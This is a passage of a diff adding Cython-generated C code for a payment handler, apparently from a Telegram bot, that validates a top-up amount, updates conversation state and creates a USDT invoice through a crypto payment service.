0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 90, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 90, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 90, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 90, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 90, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 90, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + unsigned int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + Py_UCS4 __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + case 4: goto __pyx_L16_resume_from_await; + case 5: goto __pyx_L23_resume_from_await; + case 6: goto __pyx_L25_resume_from_await; + case 7: goto __pyx_L26_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 90, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":94 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":96 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/cryprobot_pay.py":97 + * + * if len(data) != 2: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 97, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 97, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":98 + * if len(data) != 2: + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/cryprobot_pay.py":96 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + } + + /* "handlers/payments/cryprobot_pay.py":100 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":101 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":102 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * await callback_query.message.answer(" .") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":101 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":103 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_5, &__pyx_t_2) < 0) __PYX_ERR(0, 103, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_2); + + /* "handlers/payments/cryprobot_pay.py":104 + * amount = int(amount_str) + * except ValueError: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 104, __pyx_L8_except_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 104, __pyx_L8_except_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_kp_u__9}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 104, __pyx_L8_except_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 104, __pyx_L8_except_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 104, __pyx_L8_except_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":105 + * except ValueError: + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L9_except_return; + } + goto __pyx_L8_except_error; + + /* "handlers/payments/cryprobot_pay.py":101 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L9_except_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L0; + __pyx_L11_try_end:; + } + + /* "handlers/payments/cryprobot_pay.py":107 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 107, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 107, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":108 + * + * await state.update_data(amount=amount) + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 108, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":110 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + { + __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_8, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":111 + * + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":112 + * try: + * invoice = await crypto.create_invoice( + * asset="USDT", # <<<<<<<<<<<<<< + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_asset, __pyx_n_u_USDT) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + + /* "handlers/payments/cryprobot_pay.py":113 + * invoice = await crypto.create_invoice( + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), # <<<<<<<<<<<<<< + * description=f" {amount} ", + * payload=f"{callback_query.message.chat.id}:{int(amount)}", + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_Unicode(__pyx_t_11); if 